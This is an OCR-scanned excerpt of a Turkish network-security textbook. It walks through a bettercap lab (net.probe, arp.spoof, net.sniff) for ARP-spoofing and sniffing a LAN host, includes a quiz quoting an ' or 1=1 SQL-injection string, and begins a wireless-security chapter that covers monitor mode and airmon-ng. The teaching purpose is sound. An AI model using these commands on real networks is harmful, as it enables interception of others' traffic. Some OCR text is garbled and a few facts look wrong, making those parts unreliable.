Gorsel 8.26: bettercap help komutu ile ¢alisan servisler ve yardim bilgileri
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3. Adim: Gorsel 8.27’deki net.probe on komutuyla etraftaki cihazlarin bulunmasini ve MAC
adres bilgileri ile IP bilgilerinin alinmasini saglayiniz.

— )

Gorsel 8.27: net.prob on ile etraftaki cihazlarin taramaya agilmasi

Komut yazildigl anda etraftaki cihazlarin tarandigi ve (¢ adet IP-MAC tespit edildigi bilgisi
Gorsel 8.27'de gorilir.

4. Adim: net.show komutu ile net.probe servisinin ¢alisip ¢alismadigini bir tablo ile de
gorintileyiniz (Gorsel 8.28).

—)

Gorsel 8.28: net.show komutunun ciktisi

Gorsel 8.28'de gorildigu gibi net.show komutu ile IP ve MAC adreslerine, ag isimlerine
(Name), Uretici firma (Vendor) gibi bilgilere erisilebilir.
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5. Adim: Gorsel 8.29'daki help komutu ile arp.spoof isleminin nasil calistirilacagini, calistirilir-
ken hangi parametreleri alabilecegini goriiniz.

)

Gorsel 8.29: help arp.spoof komutu ile arp.spoof yardim sayfasi

arp.spoof on: ARP spoof atagini baslatir.

arp.ban on: Bu atak baslatildiginda karsi tarafa de-authentication saldirisi yapilmis gibi olur
ve hedefin ag ile ilisigi kesilir.

arp.spoof off: ARP spoof atagi sonlandirilir.

arp.ban off: ARP ban atagi sonlandirilir.

Parameters kismindan arp.spoof ataginin daha efektif ¢alismasi saglanabilir. Varsayilan
(default) olarak, kapali (false) gelen bu parametreler acilarak atagin daha kullanisli ve dogru
calismasi ayarlanabilir.

arp.spoof.fulldublex: Bu parametre dogru olursa hem hedefe hem de modeme atak
gerceklestirilir. Bu durum, yapilan atagin daha iyi ¢alismasini saglar.

arp.spoof.internal: True secenegi ayarlanirsa yerel bilgisayarlar arasinda bir spoofing islemi
yapilacaktir. Aksi takdirde external (harici) aglardaki gelen ve giden baglantilar spoof edilir.

arp.spoof.targets: Normalde tek bir hedefe atak yapilirken bu parametre sayesinde birden
fazla hedefe atak yapilabilir. Parametreden sonra IP adresleri virgll ile ayrilarak yazilabilir.
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6. Adim: Gorsel 8.30’daki parametreleri yazarak arp.spoof konfiglirasyonunu tamamlayiniz.
Arp.spoof ile ilgili log mesajlari da sistem Gzerinden gorilir.

Gorsel 8.30: arp.spoof komutu parametrelerinin kullanimi

Gorsel 8.30’daki parametrelerden gorildigi Gzere 192.168.1.21 numarali makineye bir arp.
spoof saldirisi gerceklesecektir. Bu saldiri 6ncesi hedef bilgisayarin MAC adres tablosu Gorsel
8.31'deki gibidir.

Gorsel 8.31: Hedef bilgisayar MAC adres tablosu

arp.spoof on komutu yazildiktan sonra atak baslar ve MAC adres tablosu Goérsel 8.32’deki gibi

olur.

Gorsel 8.32: Atak sonrasi hedef bilgisayarin MAC adres tablosu
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Gorsel 8.32'de goraldugi gibi modem MAC adresi ile atak yapilan bilgisayarin MAC adresi ayni
olmustur. Bu sayede modeme giden tim paketler saldirganin bilgisayarina da gelir.

7. Adim: Bu adima kadar arp.spoof ataginin tim ayarlamalarini ve yapilandirmalarini yaptiniz.
Simdi ise hedefin yaptigl tim islemleri izlemek ve sniffing yapabilmek i¢in net.sniff komutu ile
islemi baglatiniz. Gorsel 8.33’te help net.sniff komutunun nasil ¢alistigi gorilir.

c—

Gorsel 8.33: net.sniff atagi help dosyasi ve atak parametreleri

Gorsel 8.34’teki net.sniff on komutuyla sniffing islemi baslatilir. Boylelikle hedefin modemden
istedigi tiim bilgiler ayni anda hem modeme hem de saldirganin bilgisayarina gelir. Gorsel 8.34’te
gelen ve giden web sayfalari, GET istekleri, 200 OK bilgileri gibi ¢cok detayh loglari ve protokolleri
(DNS, HTTP vb.) listelenmektedir.

CJ

Gorsel 8.34: net.sniff komutuyla sniffing isleminin baglatilmasi
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Bu asamadan sonra saldirgan istedigi bilgiye ulasabilir, istedigi bilgiyi degistirebilir ve hedefe
diger saldiri ydontem ve tekniklerinin verecegi zararin ¢ok daha fazlasini saniyeler icinde verebilir.

MITM saldirilari, diger atak tlrlerinden (dis agdan gelen saldirilar) en tehlikeli olanidir ¢linkii
saldirgan yan odanizda veya karsinizdadir. Saldirganin yapabileceklerinin bir siniri yoktur.

Atolye bilgisayariniza sanal makine kullanarak bettercap aracini kurunuz. LAN icindeki IP’leri

SIRA SiZDE

tarayarak kendinize bir hedef seciniz ve ARP spoofing atagini o hedef Ustiinde uygulayiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR
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OLGME VE DEGERLENDIRME

A) Asagidaki cimlelerde parantez igine yargilar dogru ise “D”, yanlis ise “Y” yaziniz.

1.( )or‘l=1"komutuileilgiliveritabaninin herzaman True (dogru) degeri dondirmesisagla-
nir.

2.( ) MITM atagi ile saldirgan hem i¢ agdan hem de dis agdan saldiri yapilir.

3. () Sniffing (koklama) ile veri tabani bilgileri ¢calinarak hedef, hizmet veremez duruma
getirilir.

4.( ) Bettercap araci, MITM saldirilarinda kullanilan tek aractir.
B) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

5. Asagidakilerden hangisi SQL Injection atak tiirlerinden degildir?

A) Blind Based SQLi B) Error Based SQLi
C) In-Band SQLi D) Out Of Band SLQi
E) SQL Based SLQi

6. SQL Injection atagi ile ilgili asagidakilerden hangisi dogrudur?

A) Bilgisayardaki dosyalarin sifrelenmesi ile yapilan saldiri tiriddr.

B) Birden fazla bilgisayarin birlesmesiyle bir hedefe yapilan saldiri tiridar.
C) i¢ aga sizilarak iletisimin dinlenmesi ile yapilan saldiri tiriidiir.

D) Kullanicilarin parolalarinin rastgele denenmesi ile yapilan saldiri trtdur.

E) Veri tabanlarindaki zafiyetlerin kullaniimasi ile yapilan saldiri tGridir.

7. SQLi agiklarini bulmaya yarayan, bu agiklari kullanarak hedefte sorgular ¢alistiran acik

kaynak kodlu yazilim asagidakilerden hangisidir?

A) Bettercap B) DVWA
C) Out Of Band D) SQL Injection
E) Sqlmap

8. Asagidakilerden hangisi MITM saldir tiirlerindendir?

A) ARP sahtekarhgi B) IP sahtekarligi
C) NTP sahtekarhgi D) SNMP sahtekarhgi
E) TCP sahtekarligi
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9. Asagidakilerden hangisi bettercap komutu ile bulunan IP ve MAC adresi gibi detayl

bilgileri verir?

A) net.display B) net.help

C) net.print D) net.probe
E) net.show

10.

Verilen bu ekran goriintiilerini referans alarak asagidaki bilgilerden hangisine kesinlikle
ulasilabilir?

A) 1 numarali ekran gérintisinde bir MITM saldirisi yapilmistr.

B) 1 numarali ekran gorintiisinde MAC saldirisi yapilmistir.

C) 1 numarali ekran gorintisiinde SQLi saldirisi yapiimistir.

D) 2 numarali ekran gorintlisinde MITM saldirisi yapiimistir.

E) 2 numaral ekran goriintisiinde SQLi saldirisi yapiimistir.

11. Asagidakilerden hangisi MITM saldiri teknigi degildir?

A) Oturum calma B) Paket enjeksiyonu
C) Paket koklama D) SSL Strip
E) SQL Injection

12. Asagidakilerden hangisi sqlmap aracinda yardim sayfasini agmak igin kullanilan komut-
tur?
A) sglmap -D B) sqlmap -h
C) sqlmap -helpme D) sqlmap -u
E) sqlmap -yardim

13. Asagidakilerden hangisi bettercap aracinda wlan0 isimli ethernet kartini segmek igin

kullanilan komuttur?

A) sudo bettercap -face wlan0 B) sudo bettercap -iface wlan
C) sudo bettercap -iface wlan 0 D) sudo bettercap -iface wlan0

E) sudo bettercap -inter face wlan0

SQL Injection ve Man In The Middle (MITM)
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KONULAR

9.1. KABLOSUZ AGLARDA TEMEL KAVRAMLAR
9.2. KABLOSUZ AGLARDA KESIF YAPMA

9.3. KABLOSUZ AGLARDA GUVENLIK ZAFIYETLERI
9.4. KABLOSUZ AGLARDA GUVENLIK

9.5. KABLOSUZ AG SALDIRI TESPIT SISTEMLERI

NELER OGRENECEKSINiz?

e Kablosuz aglar

¢ Kablosuz ag baglanti ¢esitleri

e Kablosuz aglarin ¢alisma sekilleri

¢ Kablosuz aglarda sifreleme modelleri

e Kablosuz aglarda kullanilan protokoller
o Aktif ve pasif kesif

¢ Kablosuz aglarda zafiyet tarama islemi
® Airmon-ng aracl

e KAirodump-ng araci

¢ Aircrack-ng ile paket analizi

ANAHTAR KELIMELER

Kali Linux, kablosuz ag, ag glivenligi, sanal sizma testi laboratuvari, airmon-ng,
aircrack-ng, airodump-ng, macchanger, Wireshark, Kismet, ettercap, handshake
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HAZIRLIK CALISMALARI

1. Kablosuz ag ile kullanilan araglar nelerdir?

2. Kablosuz ag glivenligi saglanamazsa neler olur?

9.1. KABLOSUZ AGLARDA TEMEL KAVRAMLAR

Bilgisayar ve ag cihazlari arasinda kablo kullanilmadan olusturulan ag cesidine kablosuz ag
denir. Kablosuz aglar, radyo sinyalleri kullanarak c¢alisir ve belirli bir alani kapsayacak sekilde
baglanti hizmeti verir.

Evlerde, is yerlerinde, okullarda ve daha bircok yerde bilgisayar, tablet, akilli telefon gibi
cihazlari kablo baglantisi olmadan internete baglamak icin kablosuz aglar kullanilir. Kablo
baglantisina gerek duyulmadan her yerden rahatlikla internet baglantisi saglamak ¢ok glizel olsa
da bu durum buyk riskleri beraberinde getirir.

Guvenlik, kablolu veya kablosuz her tiirli ag icin en 6nemli konudur. Kablolu aglarda glivenligi
saglamak daha kolaydir.

Radyo sinyalleri 300 metreye kadar gonderilebilir ve metal olmayan duvarlardan, engellerden
gecebilir. Dizlstl bilgisayarlar, masatsti bilgisayarlar ve sunucular PCMCIA karti ile veya kablosuz
sinyalleri alip iletebilen plug-in kartlar ile kablosuz yerel aga baglanir.

Kablosuz aglar; kullandiklari protokollere, alici ve verici arasindaki mesafeye, ortamda bulunan
diger kablosuz yayinlarin siddetine gore farkli hizlarda ¢alisabilir. Sifreyi dogru giren her kullanici
bu kablosuz agi kullanabilir. Bu durumda sifrenin yetkisiz kullanicilarin eline gegmemesi gerekir.

9.1.1. Kablosuz Aglarin Calismasi

Kablosuz ag sistemleri radyo frekanslari (RF) ile calisir. Radyo dalgalari ile haberlesme (¢
sekilde gerceklesir. Bunlar; alici (receiver), verici (transmitter), alici ve verici (trans-receiver)
olarak adlandirilir.

Alhcilar: Radyo sinyallerini alabilen fakat sinyal gdnderme 6zelligi bulunmayan aygitlardir. FM
radyolari ve televizyonlar bunlara 6rnek olarak verilebilir.

Vericiler: Radyo sinyalleri gonderebilen fakat sinyalleri alamayan elektronik devrelerdir.
Bunlara 6rnek olarak radyo ve televizyon verici istasyonlari gosterilebilir.

Alici ve Vericiler: Radyo sinyallerini hem alma hem verme 6zelligi olan aygitlardir. Bunlara
ornek olarak telsiz roleleri, cep telefonu baz istasyonlari, cep telefonlari vb. verilebilir.
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9.1.2. Kablosuz Ag Baglant1 Cesitleri

Kablosuz ag baglantisi dort sekilde saglanur.

9.1.2.1. Wi-Fi (Kablosuz Baglanti Alani)

Gilnlmuz kablosuz ag teknolojilerinin en ¢ok bilinenidir. Bilgisayarlar, oyun konsollari, dijital
ses oynaticilari veya akilli telefonlar gibi cihazlarin kablosuz olarak birbirlerine baglanmasini
saglayan yaygin bir teknolojidir (Gérsel 9.1).

Gorsel 9.1: Kablosuz ag simgesi

9.1.2.2. Kizil6tesi (IRDA-Infrared Data Association)

Kizilotesi, kablosuz veri iletisimini saglayan bir teknolojidir (Gorsel 9.2).

Gorsel 9.2: Kizilotesi baglant

Kiziltesi teknolojisi ilk kez 30 firmanin birlesimiyle 1933 yilinda Amerika’da denenmis ve
basarili olunmustur. Birka¢ metreyi asmayan kisa uzakhklar icin kullanilir. Tasinabilir bilgisayar-
larda veri iletisimi, kisisel bilgisayarlarda fare, yazici gibi aygitlari ¢alishrmak amaciyla kullanihr.
Kizilotesi 1-4 Mbps veri iletisim hizindadir.

Kablosuz Ag Glivenligi
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9.1.2.3. Bluetooth

Kablosuz olarak kisa mesafelerde ses ve veri iletimini
saglamak icin olusturulmus bir sistemdir (Gorsel 9.3). Bu tek-
noloji ilk olarak 1994 yilinda kullaniimistir. Bluetooth, radyo
frekanslari lizerinden iletisim kurulmasina imkan tanir. 2.4
GHz hizinda iletisim kurulurken iki cihaz arasindaki mesafenin

de 10 metre kadar olmasi iyi bir performans elde edebilmek
icin gereklidir. Gorsel 9.3: Bluetooth baglanti simgesi

Bluetooth; cep telefonlari, PDA'lar, bilgisayarlar ve cevre birimlerini birbirine baglamak icin
kullanilan kisa mesafe standardidir. Bluetooth kullanilarak yapilan veri aktarim hizi, cihazlarin
kapasitesine gore 1 Mbps ile 721 Mbps arasinda degisiklik gosterir.

Bluetooth teknolojisi hizli ve pratiktir. Etkilesime girecek cihazlarin kapasitesine ve ¢ekim
glicline gore veri aktarim hizi degisiklik gosterir. Acik alanlarda 10 metrelik bir mesafeye kadar
kolayca veri aktarimi saglanir. Gliniimuzde bluetooth kulaklik, mouse, klavye, hoparlér, saat, kilit
gibi cihazlar kullantlir.

9.1.2.4. Uydu

Diinya yoriingesinde bulunan uydularin mikrodalga istasyonu olarak kullaniimasidir (Gorsel
9.4). Uydular ve yer Ustl mikrodalga anten istasyonlari arasinda veri iletisimi saglar. Bu teknoloji
ilk basta cazip gibi gelse de ylksek kurulum maliyetleri ve genellikle hava sartlarinin olumsuz
etkileri sebebiyle tercih edilmez.

Genel olarak diger internet baglanti altyapilarinin bulunmadigl lokasyonlarda uydu
baglantilari tercih edilir ve ¢anak antenler vasitasi ile veri iletisimi saglanir. Uydular ¢ok yliksek
hizda haberlesme imkani sunar ve buyik sistemlerde kullanihir. Uydu baglantisi ok masrafhdir.

Gorsel 9.4: Uydu baglantisi
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9.1.3. Kablosuz Ag Standartlari

Farkli firmalar tarafindan uretilen kablosuz ag cihazlarinin birbirleriyle sorunsuz olarak iletisim
kurabilmesi igin IEEE 802.11 standartlari gelistirilmistir (Gorsel 9.5).

Gorsel 9.5: IEEE 802.11 standardi

IEEE 802.11 standartlari, kablosuz aglarda kullanilan cihazlarin birbirleriyle iletisim
kurabilmeleri icin gerekli kurallari iceren protokollerdir. Glinimiizde 802.11a, 802.11b, 802.11g,
802.11n standartlari kullanilr.

IEEE 802.11a Standardi

Bu standart 1999 yilinda gelistirilmistir. 5 GHz bandinda 54 Mbps bant genisligi sunan WLAN
teknolojisidir. 25-50 metrelik mesafelerde rahathkla kullanilabilir.

IEEE 802.11b Standardi

Bu standart 1999 yilinda tamamlanmis ve 2001 yilindan itibaren kablosuz aglarda yer almistir.
2.4 GHz bandinda 11 Mbps bant genisligi sunan bir teknolojidir. Kapsama alani, kapali alanlarda
30-45 metre arasindadir. Bu standart genelde ofis, hastane, fabrika gibi yerlerde kullaniimaya
uygundur.

IEEE 802.11g Standardi

Bu standart 2003 yilinda tamamlanmistir. 2.4 GHz frekans araligini kullanir ve maksimum 54
Mbps bant genisligine sahiptir.

IEEE 802.11n Standardi

2007 yili itibariyla kablosuz ag alaninda kullanilan bir standarttir. 2.4 GHz veya 5 GHz kullanim
sekli vardir. 540 Mbps bant genisligine sahiptir. 125 metreye kadar kapsama alani vardir. Bu
standart, diger 802.11 a, b, g standartlariyla uyumlu galisir.

9.1.4. Kablosuz Ag Giivenlik Protokolleri

internete girmek icin kullanilan modemler kullanicilara birden fazla giivenlik protokolii
arasindan se¢im yapma olanagi sunar. Farkh protokoller, farkli senaryolar ve kullanim sekilleri
icin uygun olsa da yanls tercih edilen bir giivenlik protokoli beraberinde daha yavas ve riskli
baglanti getirebilir. Glinimiizde WEP, WPA ve WPA?2 protokolleri kullaniimakta, WPA3 protokoli
de gelistirilmektedir.

Kablosuz Ag Glivenligi
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9.1.4.1. Kabloluya Es Deger Gizlilik (WEP)

WEP, kablosuz aglar icin kabul edilen ilk glvenlik
protokolidir (Gorsel 9.6). Bu protokol 1999 yilindan
beri kullanihr. WEP, sifreleme ve kimlik dogrulama islemi
yapar.

Kablosuz ag baglantisi icinde olan bilgisayar,
yonlendirici cihaza veri paketleri gonderir. Bu paketler
sifrelenmemisse bilgisayar korsanlari onlara ulasabilir ve
verileri gorebilir. Bu protokol glinimizde 256 bit sifreleme

dzelligine kadar gelistirilmisti. WEP protokoliiniin ¢ok Gorsel 9.6: WEP protokolii
fazla glivenlik acig1 vardir ve sifreler birka¢ dakika icinde
kirilabilir.

9.1.4.2. Wi-Fi Korumal Erisim (WPA)

WPA, WEP’in bilinen agiklarini kapatarak gelistirilmistir (Gorsel 9.7). Bu protokol 2003 yilindan
beri kullantlir.

Gorsel 9.7: WPA protokolii

WPA, kablosuz aglardaki verileri 802.11 standardinda tasirken sifrelemeye ve korumaya
yardimcli olan bir protokoldir. WPA, gecici anahtar bitinlGgi protokoliinii (TKIP) kullanir. TKIP,
ag ortamindaki her veri paketi icin yeni olusturulan 128 bitlik anahtar kullanir. TKIP sifreleme
standardinin yerini daha sonra gelismis sifreleme standardi (AES) almistr.

9.1.4.3. Wi-Fi Korumal Erisim2 (WPA2)

WPA2, WPA'nin yerini resmi olarak almistir. Bu protokol 2004
yilindan beri kullanilir (Gorsel 9.8). WPA2, AES algoritmasini zorunlu
kilar.

Gorsel 9.8: WPA2 protokolii
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WPA2, CCMP (Counter Mode CBC-MAC Protocol) sifreleme protokoliini kullanir. Bu protokol;

veri gizliligi, kimlik dogrulama, erisim kontrol mekanizmasi saglar.

9.1.4.4. Wi-Fi Korumal Erisim3 (WPA3)

WPA3, kablosuz Wi-Fi korumali erisim denetiminin yeni versiyonudur (Gorsel 9.9). WPA2'de
ortaya ¢lkan zafiyetler sebebiyle WPA3 standardi dogmustur. WPA3, WPA2'de bulunmayan
asagidaki dort ana bileseni icerir.

Gorsel 9.9: WPA3 protokolii

Kaba Kuvvet Saldirisina Karsi Koruma

Brute Force olarak adlandirilan kaba kuvvet saldirilarina karsi glivenlik saglar.

Genel Ag Gizliligi

Yeni WPA3 standartlari, kisisellestirilmis veri sifrelemesi yoluyla agik sebekelerde kullanici
gizliligini gliclendirir.

internetin Giivenligini Saglama

Yeni WPA3 standardi, internet icin ihtiya¢c duyulan bazi ek glivenlik Grinlerini de ortaya
cikarmistir. Cevrimici olarak ¢ok sayida cihazin hepsinin tek bir sifreyle kablosuz aga baglanmasi
bircok giivenlik acigina neden olur. Ornegin bir aga baglanan cihazlardan herhangi birinin giiven-
ligi zayif ise Wi-Fi sifresinin ele gecirilmesi kacinilmazdir. Yetkisiz bir kisi zayif bir cihazdan sifreyi
ele gecirip aga katildiktan sonra istedigini yapabilir. WPA3 ile amag, aga katilan her cihaza gére
ekstra bir giivenlik 6nleminin geleceginin belirtilmesidir. Bu sayede daha givenli bir kullanim
saglanir.

Daha Giiglii Sifreleme

WPA3 protokoliiile 192 bit sifreleme teknigi gelir. Bu 6zellik, tahmin yoluyla kolayca kirilabilecek
zay|f sifre kullanimini engeller. Bu sifreleme 6zelligi, kullanici glivenliginde 6nemli bir artis saglar.

9.1.5. Kablosuz Ag Tiirleri

Kablosuz aglar, Elektrik ve Elektronik Miihendisleri Enstitiisi (IEEE) standartlarina gore WPAN,
WLAN, WMAN ve WWAN olmak lizere doért ana tiire ayrilabilir.
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Kablosuz Kisisel Alan Aglari (WPAN)

Kisa mesafeli bir ag icin distk gliclt vericiler kullanir. Genellikle 6 ile 9 metrelik bir alani
kapsar. Bluetooth cihazlar WPAN’larda yaygin olarak kullanilir. WPAN’lar, 802.11 standardina ve
2.4 GHz radyo frekansina dayanir.

Kablosuz Yerel Alan Agi (WLAN)

Genellikle 95 metreye kadar olan orta buyuklikteki bir ag1 kapsamak icin vericileri kullanir.
WLAN'’lar bir evde, ofiste ve hatta bir kampis ortaminda kullanima uygundur. WLAN’lar 802.11
standardina ve 2.4 GHz veya 5 GHz radyo frekansina dayanir.

Kablosuz Sehir Alan Agi (WMAN)
Daha genis bir cografialan Gzerinde kablosuz hizmet saglamak icin vericileri kullanir. WMAN’lar
bir sehre veya belirli bir bolgeye kablosuz erisim saglamak i¢in uygundur.

Kablosuz Genis Alan Aglari (WWAN)

Genis bir cografi alanda kapsama alani saglamak icin vericileri kullanir. WWAN’lar ulusal ve
kiresel iletisim icin uygundur.

9.1.6. IEEE 802.11 Calisma Modlari

IEEE 802.11 standardinin kablosuz yerel alan aglarinda iki farkh ¢alisma modu bulunmaktadir.

Cihazdan Cihaza Calisma Modu (Ad-Hoc Mode): Kablosuz iletisim 6zelligi olan iki veya daha
fazla bilgisayarin birbirlerine arada sunucu olmadan direkt baglandiklari ag yapilaridir (Gorsel
9.10). Yapi olarak hizli kurulmasi, kablo veya Access Point (AP) gibi herhangi bir altyapiya ihtiyac
duymamasi kolaylik ve maliyet bakimindan avantajhdir.

Gorsel 9.10: Ad-Hoc baglanti 6rnegi

Bilgisayarlarin birbirine baglanip veri paylasimi yapabilmeleri icin sadece kablosuz iletisim
ozelliginin olmasi yeterlidir. Bu tiir aglarda bilgisayarlarin programlarina, veri kaynaklarina agdaki
diger bilgisayarlar tarafindan erisilebilmesi glivenlik agisindan dezavantajdir. Baglanti kurulacak
bilgisayarlar arasindaki mesafe uzak olmamalidir.
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Altyapi Calisma Modeli (Client-Server)

Ag ortaminda bulunan cihazlarin iletisim kurabilmesi icin AP cihazina ihtiyag¢ duyulur (Gorsel
9.11). AP cihazi kablolu aga baglidir. Kablosuz ag baglantisiyla ¢ok sayida cihaz AP’ye baglanabilir.

Gorsel 9.11: Client-Server 6rnegi

AP, ag cihazlari arasindaki veri alisverisinde merkezi bir cihazdir. Gidecek biitlin veri paketleri
bu cihaza gelir ve bu cihaz tarafindan yonlendirilir. Bu yontemde iletisim, WEP veya WPA gibi
protokoller kullanilarak sifrelenir.

Altyapi calisma modelinde paylasilan tiim kaynaklar sunucuda saklanir ve istege uygunislemler
sunucudan yapihr. Bir baska deyisle kullanici, erismek istedigi bilgiyi agdaki diger kullanicilarda
aramaz, direkt sunucudan ister ve sunucu da islemleri hizli bir sekilde yaparak kullaniciya yollar.

9.1.7. Kablosuz Aga Baglanma Asamalari

Kullanilacak cihazlarin kablosuz ag ortamina baglanabilmesi icin iki asama vardir. Oncelikle
kimlik dogrulama islemi gercgeklestirilmelidir. Daha sonra AP, istemci cihazi aga kaydeder.

9.1.7.1. Kimlik Dogrulama (Authentication)

Kimlik dogrulama teknolojisi, bir kullanicinin kimlik bilgilerinin
yetkili kullanicilarin veri tabaninda veya bir veri dogrulama
sunucusundaki kimlik bilgileriyle eslesip eslesmedigini kontrol
ederek sistemler icin erisim kontroll saglar (Gorsel 9.12).
Kimlik dogrulama, bir kullanicinin veya programin bir sisteme
erisirken kim oldugunu kanitlama islemidir. Ornegin bircok sirket,
web sitelerine giris yapan kullanicilari dogrulamak icin kimlik Gorsel9.12: Kimlik dogrulama
dogrulamasini kullanir. Agik sistem kimlik dogrulama ve parola kimlik dogrulama olmak Uzere iki
cesit kimlik dogrulama vardir.

Acik Sistem Kimlik Dogrulama (Open System Authentication)

Bu tip kimlik dogrulamada istemci cihazdan AP cihazina icinde MAC adresi olan bir istek gider
ve AP’den bu istegi kabul edip etmedigine dair cevap beklenir.

Kablosuz Ag Glivenligi
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Parola Kimlik Dogrulama (Shared Key Authentication)

Kimlik dogrulama icin her iki tarafin bildigi ortak bir parola kullanilir. Once istemci cihaz AP’ye
bir baglanti isteginde bulunur. AP, cihazin baglanma istegine karsilik cevap verir. istemci cihaz,
bilinen ortak parola ile bu mesaja karsilik verir. AP, istemci cihazdan gelen gercevelenmis veri
paketini ¢oziimler ve parolayi kontrol eder. Parola dogruysa baglanma istegi icin izin verilir.

9.1.7.2. Aga Kaydolma (Association)

Kimlik dogrulama islemi bittikten sonra istemci cihaz, AP tarafindan aga kaydedilir. Aga
kaydolmayan bir cihaz ag icinde iletisimde bulunamaz. istemci ayni anda sadece bir aga
kaydolabilir.

9.1.8. Kablosuz Ag Giivenlik Testleri i¢in Sanal Laboratuvar
Olusturma

Kablosuz aglarla ilgili glivenlik testi calismalarini yapabilmek i¢in dncelikle Gglincli 6grenme
biriminde anlatilan sanal laboratuvar kurulur. Bilgisayarin kullandigi kablosuz ag adaptori sanal
ortamda kullanilamaz. Bu ylzden sanal ortamda kullanilabilecek ve Kali Linux isletim sistemine
uygun bir USB kablosuz ag adapt6ri alinip tanitihir. Tanitim igin gerekli olan dosyalar yiklenir.

9.1.9. Kablosuz Ag Karti Calisma Modlari

Kablosuz ag adaptorleri kullandiklari striciye ve yapacagi isleve bagh olarak dort farkh
modda calisabilir (Gorsel 9.13). Bunlar; Managed, Master (Hostap), Ad-Hoc ve Monitér moddur.
Bu modlar, strici ve isleve gore siniflandirilir.

Gorsel 9.13: Kablosuz ag cihazi

9.1.9.1. Master Modu

Kablosuz agda hizmet veren sunucu modudur. Etraftaki kablosuz ag istemcilerine hizmet verir.
Erisim noktasi olarak adlandirilan cihazlarda kablosuz ag adaptorleri bu modda calisir.

290 I Kablosuz Ag Glivenligi



9.1.9.2. Managed Modu

istemci bilgisayarlarin bir erisim noktasina baglanarak hizmet aldigi moddur.

9.1.9.3. Monitor Modu

Herhangi bir kablosuz aga baglanmadan, pasif olarak ilgili kanaldaki tiim trafigin izlenmesine
olanak saglayan moddur. Bu mod, kablosuz aglarda glivenlik konusunda sik sik kullanilir.

9.1.9.4. Ad-Hoc Modu

Arada bir AP olmaksizin kablosuz istemcilerin haberlesmesi icin kullanilan moddur. Ornegin iki
cihaz birbiriyle direkt Wi-Fi ile haberlesmeye gecmek isterse bu modu kullanir.

9.1.10. Kablosuz Ag Kartini Yapilandirma

Kablosuz aglarla ilgili Kali Linux isletim sisteminde ¢esitli araglari kullanarak islem yapmak
icin ag kartini monitdér moda almak gerekir. Ag kartini monitér moda almak icin gereken islemler
asagida sirayla verilmistir.

e Bilgisayarda kurulu Virtual Box sanallastirma programi ¢ahistirilir.

e Kablosuz ag adaptori bilgisayara takilhr.

e Ag adaptord, Virtual Box programi icinde Ayarlar>Ag ayarlari boliminde tanitilir (Gorsel
9.14).

Gorsel 9.14: Yeni kablosuz ag kartinin Virtual Box i¢in tanitilmasi
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e Kablosuz ag karti Koprii Bagdastiricisi olarak ayarlanir.
e Virtual Box icinde kurulu olan Kali Linux isletim sistemi calistirilir.
e Acilan konsol ekranina “ifconfig” komutu yazilarak IP numarasi 6grenilir.

e Yeni kablosuz ag kartinin sistemde calisir olup olmadigini 6grenmek icin konsol kismina
“sudo dmesg” komutu yazilir (Gorsel 9.15).

Gorsel 9.15: Ag kartinin dmesg komutu ile kontrol edilmesi

e Kablosuz ag karti sisteme tanitildiktan sonra komut satirina sudo iwconfig yazilarak ag
kartinin managed veya monitor modda oldugu kontrol edilir (Gorsel 9.16).

Gorsel 9.16: Ag kartinin ¢galisma modu

e Gorsel 9.16’da gorildugi gibi ag karti managed moddadir. Bunun monitdér moda alinmasi
icin komut satirina sudo airmon-ng start wlanO yazilr.
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e Komut satirina sudo iwconfig yazilarak, ag kartinin monitér moda gecip gegmedigi kontrol
edilir. Ag karti monitér moda ge¢memisse gerekli dosyalar yiiklenmelidir.

e Komut satirina sudo apt-get update yazilarak Kali isletim sistemi giincellenir.
e Komut satirina sudo apt-get upgrade yazilarak glincelleme islemine devam edilir.

e Komut satirina sudo iwconfig yazilarak kablosuz ag kartinin monitér moda gectigi goralir
(Gorsel 9.17).

Gorsel 9.17: Ag kartinin monitér mod gériinimii

9.2. KABLOSUZ AGLARDA KESIF YAPMA

Kablosuz aglarin kesfi, yakin ¢evredeki internet erisim noktalarinin bulunmasidir. Kesif arac-
larini tasinabilir hale getirerek etrafta bulunan kablosuz aglari kesfetme islemine wardriving, bu
noktalarin 6zelliklerinin isaretlenmesine ise warchalking denir.

Gorsel 9.18: Kesif yapma

Kablosuz Ag Glivenligi

293



Yakin cevredeki AP’leri bulmak icin Kali Linux isletim sisteminde Kismet, Wireshark, airodump-
ng, wifite isimli araglar kullanilir. Kablosuz aglarin kesfi, pasif ve aktif olmak lizere ikiye ayrilir.

Aktif Kesif: Yetkisiz biri tarafindan gesitli programlar kullanilarak ag ortamindaki agik yayin
yapan Access Pointleri ve 6zelliklerini tespit etme islemidir. Bu tarz kesif calismalariigin kullanilan
programlar kablosuz ag ortaminda kesif calismasi yaparken kendini belli eder. AP cihazina sinyal
gonderir ve AP cihazinin, kendini ag ortaminda anons etmesini ister. AP cihazi, kendine izin verirse
ag ortaminda bulunan cihazlari raporlandirir.

Pasif Kesif: Yetkisiz biri tarafindan cesitli programlar kullanilarak, ag ortamindaki bir AP
cihazindan izin almadan aga bagh cihazlari tespit etme islemidir. Pasif kesif, gizli bir sekilde
dinleme yapma veya trafik analizi olabilir. Kismet, Wireshark, wifite, airodump-ng pasif kesif
araclaridir.

Kali Linux isletim sisteminde bulunan Kismet isimli ara¢ en 6nemli pasif kesif aracidir. Kismet
araci kablosuz ag adaptoriini monitor modda calistirarak yakin ¢evredeki kablosuz ag ortamini
izler, aga bagli biitlin cihazlarin isimlerini ve 6zelliklerini raporlandirir.

Kismetile dinleme yapilirken etraftaki erisim noktalari veya istemciler rahatsiz edilmez. Kismet
tamamen pasif modda bir dinleme yapar. Ozellikle sifresiz bir iletisim yéntemi tercih edilmisse
Kismet bu noktada kablosuz agdaki tiim cihazlari ve veri akisini gérebilir.

Kismet, kablosuz aglarda izinsiz giris tespiti icin de kullanilabilir. Aga erisim izni olmayip da
giris deneyiminde bulunan kullanicilar, Kismet tarafindan kolayca belirlenerek raporlandirilir.

Kesif islemleri sonucunda elde edilen bilgiler sunlardir:

e Kablosuz ag sifreli ise sifreleme protokolt (WEP, WPA, WPA2)
e Aga bagh cihazlarin MAC adresleri

e Aga bagl cihazlarin IP adresleri

e Aga bagl cihazlarin isimleri

e Ag ortamindaki bitln veri trafigi

* Gizlenmisg SSID’ler

1. UYGULAMA

Kali isletim Sistemindeki Airodump-ng Aracini Kullanarak Cevredeki Erisim Noktalari ve

